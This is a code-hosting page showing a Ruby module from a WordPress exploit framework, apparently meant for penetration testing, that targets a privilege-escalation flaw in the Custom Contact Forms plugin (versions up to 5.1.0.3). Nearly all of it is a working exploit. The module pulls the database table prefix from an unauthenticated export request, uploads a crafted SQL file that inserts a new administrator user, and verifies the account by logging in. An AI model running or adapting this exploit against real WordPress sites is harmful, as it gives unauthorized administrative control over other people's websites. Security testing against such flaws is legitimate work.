rastating/wordpress-exploit-framework

View on GitHub
lib/wpxf/modules/auxiliary/priv_esc/custom_contact_forms_privilege_escalation.rb

Summary

Maintainability
A
3 hrs
Test Coverage
# frozen_string_literal: true

class Wpxf::Auxiliary::CustomContactFormsPrivilegeEscalation < Wpxf::Module
  include Wpxf
  include Wpxf::WordPress::Login

  def initialize
    super

    update_info(
      name: 'Custom Contact Forms Privilege Escalation',
      desc: 'The Custom Contact Forms plugin, up to and including version '\
            '5.1.0.3, allows unauthenticated users to create new admin users '\
            'due to lack of validation when uploading SQL files.',
      author: [
        'Marc-Alexandre Montpas', # Vulnerability discovery
        'rastating'               # WPXF module
      ],
      references: [
        ['URL', 'http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html'],
        ['URL', 'https://plugins.trac.wordpress.org/changeset?old_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.3&old=997569&new_path=%2Fcustom-contact-forms%2Ftags%2F5.1.0.4&new=997569&sfp_email=&sfph_mail='],
        ['WPVDB', '7542']
      ],
      date: 'Aug 07 2014'
    )

    register_options([
      StringOption.new(
        name: 'username',
        desc: 'The username to register with',
        default: Utility::Text.rand_alpha(10)
      ),
      StringOption.new(
        name: 'password',
        desc: 'The password to register with',
        default: Utility::Text.rand_alpha(rand(10..20))
      )
    ])
  end

  def username
    normalized_option_value('username')
  end

  def password
    normalized_option_value('password')
  end

  def hashed_password
    Utility::Text.md5(password)
  end

  def check
    check_plugin_version_from_readme('custom-contact-forms', '5.1.0.4')
  end

  def table_prefix
    res = execute_post_request(
      url: wordpress_url_admin_post,
      body: {
        'ccf_export' => '1'
      }
    )

    return nil if res.code != 200 || res.body.nil? || res.body.empty?
    match = res.body.match(/insert into `(.+_)customcontactforms_fields`/i)
    return nil if match.nil? || match.length < 2
    match[1]
  end

  def sql(prefix)
    <<-END_OF_SQL
      INSERT INTO #{prefix}users (user_login, user_pass) VALUES ('#{username}','#{hashed_password}');
      INSERT INTO #{prefix}usermeta (user_id, meta_key, meta_value) VALUES ((select id from #{prefix}users where user_login='#{username}'),'#{prefix}capabilities','a:1:{s:13:"administrator";b:1;}'),((select id from #{prefix}users where user_login='#{username}'),'#{prefix}user_level','10');
    END_OF_SQL
  end

  def sql_filename
    "#{Utility::Text.rand_alpha(5)}.sql"
  end

  def payload_body_builder(prefix)
    builder = Utility::BodyBuilder.new
    builder.add_file_from_string('import_file', sql(prefix), sql_filename)
    builder.add_field('ccf_merge_import', '1')
    builder
  end

  def run
    return false unless super

    emit_info 'Extracting table prefix...'
    prefix = table_prefix
    if prefix.nil?
      emit_error 'Unable to determine table prefix'
      return false
    else
      emit_success "Found table prefix: #{prefix}", true
    end

    emit_info 'Creating new admin user...'
    res = nil
    payload_body_builder(prefix).create do |body|
      scoped_option_change('follow_http_redirection', false) do
        res = execute_post_request(url: wordpress_url_admin_post, body: body)
      end
    end

    if res.code != 302 || res.headers['Location'] != 'options-general.php?page=custom-contact-forms'
      emit_error 'Failed to create new user'
      emit_error "Code: #{res.code}", true
      emit_error "Location header: #{res.headers['Location']}", true
      return false
    end

    emit_info 'Verifying new account...'
    if wordpress_login(username, password)
      emit_success "User #{username} with password #{password} successfully created"
      return true
    else
      emit_error 'Failed to create new user'
      return false
    end
  end
end